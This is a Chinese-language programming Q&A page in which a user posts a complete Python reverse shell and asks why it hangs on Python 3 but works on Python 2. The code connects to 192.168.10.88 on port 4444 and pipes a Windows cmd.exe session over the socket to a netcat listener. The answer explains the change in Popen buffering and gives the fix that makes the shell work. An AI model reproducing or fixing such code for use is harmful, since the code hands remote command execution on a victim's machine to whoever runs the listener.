Skip to main content
 首页 » 编程设计

python之Shell 命令在 python 3 上卡住,但在 python 2 上工作

2024年11月24日14lovecherry

以下是我的reverse_shell python代码

import os,socket,subprocess,threading 
def s2p(s, p): 
    while True: 
        data = s.recv(1024) 
        if len(data) > 0: 
            p.stdin.write(data) 
 
 
def p2s(s, p): 
    while True: 
        s.send(p.stdout.read(1)) 
 
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) 
s.connect(("192.168.10.88",4444)) 
 
p=subprocess.Popen(['\\windows\system32\\cmd.exe'], stderr=subprocess.STDOUT, stdout=subprocess.PIPE, stdin=subprocess.PIPE) 
 
 
 
 
s2p_thread = threading.Thread(target=s2p, args=[s, p]) 
s2p_thread.daemon = True 
s2p_thread.start() 
 
p2s_thread = threading.Thread(target=p2s, args=[s, p]) 
p2s_thread.daemon = True 
p2s_thread.start() 
 
 
try: 
    p.wait() 
except KeyboardInterrupt: 
    s.close() 

我正在使用 netcat 作为监听器。问题是当我使用 python 3.4 shell 命令运行上面的代码时卡住了,我没有得到输出但是如果我使用 python 2 它工作正常。

请您参考如下方法:

bufsize 到 Popen 的默认参数在 Python 2 和 Python 3 之间发生了变化。在 Python 2 中它是 0 表示无缓冲。在 Python 3它是 -1,这意味着使用大小为 io.DEFAULT_BUFFER_SIZE 的缓冲区。在 Python 3 中,程序卡住是因为程序已将数据写入 p.stdin,但尚未刷新它——因为缓冲区尚未填满。在 Windows 上,io.DEFAULT_BUFFER_SIZE 为 8,192,因此您需要将 8kB 数据写入套接字(来自 netcat),然后才能看到任何输出。

您可以切换回无缓冲流,也可以在每次写入后手动刷新数据。或者您可以设置 universal_newlines 参数并使用行缓冲 (bufsize=1)。